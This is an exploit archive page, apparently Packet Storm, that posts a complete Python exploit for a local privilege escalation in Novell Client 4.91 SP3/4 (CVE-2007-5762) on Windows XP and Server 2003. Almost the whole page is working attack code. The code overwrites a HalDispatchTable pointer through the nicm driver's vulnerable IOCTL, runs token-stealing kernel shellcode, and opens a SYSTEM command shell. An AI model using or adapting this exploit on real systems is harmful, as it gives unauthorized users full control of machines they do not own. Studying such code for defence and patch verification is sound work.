what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Novell Client 4.91 SP3/4 Privilege Escalation

Novell Client 4.91 SP3/4 Privilege Escalation
Posted May 23, 2012
Authored by sickness

Novell Client version 4.91 SP3/4 privilege escalation exploit for Win2K3 and WinXP.

tags | exploit
systems | windows
advisories | CVE-2007-5762
SHA-256 | 4ec2f8f29147c1ce17f8421e5cc26463ec7e91ac339c0dc03fbab345bff2b6fd

Novell Client 4.91 SP3/4 Privilege Escalation

Change Mirror Download
# Novell Client 4.91 SP3/4 Privilege escalation exploit
# Download link: http://download.novell.com/Download?buildid=SyZ1G2ti7wU~
#
# SecurityFocus: http://www.securityfocus.com/bid/27209/info
# CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5762
# Patch: http://download.novell.com/Download?buildid=4FmI89wOmg4~
#
# Author: sickness@offensive-security.com
# Version Tested: Novell Client 4.91 SP4
# Targets: Exploit works on all service packs of Win2K3 and WinXP (except Windows XP SP1)
# Thanks:
# - g0tmi1k for helping me test out the exploit on as many versions of Windows as possible.
# - ryujin for the help while developing the exploit.

from ctypes import *
import sys,struct,os
from optparse import OptionParser

kernel32 = windll.kernel32
ntdll = windll.ntdll
Psapi = windll.Psapi

def GetBase(drvname=None):
EVIL_ARRAY = 1024
myarray = c_ulong * EVIL_ARRAY
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddr in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddr:
Psapi.GetDeviceDriverBaseNameA(baseaddr, drivername,
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[>] Retrieving %s information." % drvname
print "[>] %s base address: %s" % (drvname, hex(baseaddr))
return baseaddr
else:
if drivername.value.lower().find("krnl") !=-1:
print "[>] Retrieving Kernel information."
print "[>] Kernel version: ", drivername.value
print "[>] Kernel base address: %s" % hex(baseaddr)
return (baseaddr, drivername.value)
return None

if __name__ == '__main__':

usage = "%prog -o <target>"
parser = OptionParser(usage=usage)
parser.add_option("-o", type="string",
action="store", dest="target_os",
help="Available target operating systems: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
parser.print_help()
sys.exit()
OS = OS.upper()

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
DEVICE = '\\\\.\\nicm'

device_handler = kernel32.CreateFileA(DEVICE, GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

(krnlbase, kernelver) = GetBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
HalBase = GetBase("hal.dll")
print "[>] HalDispatchTable address:", hex(HalDispatchTable)
HalDispatchTable0x4 = HalDispatchTable + 0x4
HalDispatchTable0x8 = HalDispatchTable0x4 + 0x4
HalDispatchTable_0x14 = HalDispatchTable0x4 - 0x10

if OS == "2K3":
HaliQuerySystemInformation = HalBase + 0x1fa1e # Offset for 2003
HalpSetSystemInformation = HalBase + 0x21c60 # Offset for 2003

else:
HaliQuerySystemInformation = HalBase + 0x16bba # Offset for XP
HalpSetSystemInformation = HalBase + 0x19436# Offset for XP

print "[>] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[>] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)

EVIL_IOCTL = 0x00143B6B # Vulnerable IOCTL
retn = c_ulong()
inut_buffer = HalDispatchTable0x4 - 0x10 + 0x3 # Make the pwnsauce overwrite
inut_size = 0x0
output_buffer = 0x41414141 # Junk
output_size = 0x0

# Get offsets
if OS == "2K3":
_KPROCESS = "\x38" # Offset for 2003
_TOKEN = "\xd8" # Offset for 2003
_UPID = "\x94" # Offset for 2003
_APLINKS = "\x98" # Offset for 2003

else:
_KPROCESS = "\x44" # Offset for XP
_TOKEN = "\xc8" # Offset for XP
_UPID = "\x84" # Offset for XP
_APLINKS = "\x88" # Offset for XP

# Restore the pointer
pointer_restore = "\x31\xc0" + \
"\xb8" + struct.pack("L", HalpSetSystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x8) + \
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x4)

# Make the evil token stealing
steal_token = "\x52" +\
"\x53" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\xc8" +\
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
"\x89\x1d\x00\x09\x02\x00" +\
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
"\x75\xe8" +\
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
"\x8b\xc1" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00" +\
"\x5b" +\
"\x5a" +\
"\xc2\x10"

# Build the shellcode
sc = "\x90" * 100
sc+= pointer_restore + steal_token
sc+= "\x90" * 100

if OS == "2K3":
baseadd = c_int(0x02a6ba10)

else:
baseadd = c_int(0x026e7bb0)

MEMRES = (0x1000 | 0x2000)
PAGEEXE = 0x00000040
Zero_Bits = c_int(0)
RegionSize = c_int(0x1000)
write = c_int(0)

dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE)

if OS == "2K3":
kernel32.WriteProcessMemory(-1, 0x02a6ba10, sc, 0x1000, byref(write))

else:
kernel32.WriteProcessMemory(-1, 0x026e7bb0, sc, 0x1000, byref(write))

if device_handler:
print "[>] Sending IOCTL to the driver."
dev_io = kernel32.DeviceIoControl(device_handler, EVIL_IOCTL, inut_buffer, inut_size, output_buffer, output_size, byref(retn), None)

evil_in = c_ulong()
evil_out = c_ulong()
evil_in = 0x1337
hola = ntdll.NtQueryIntervalProfile(evil_in, byref(evil_out))
print "[>] Launching shell as SYSTEM."
os.system("cmd.exe /K cd c:\\windows\\system32")


Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close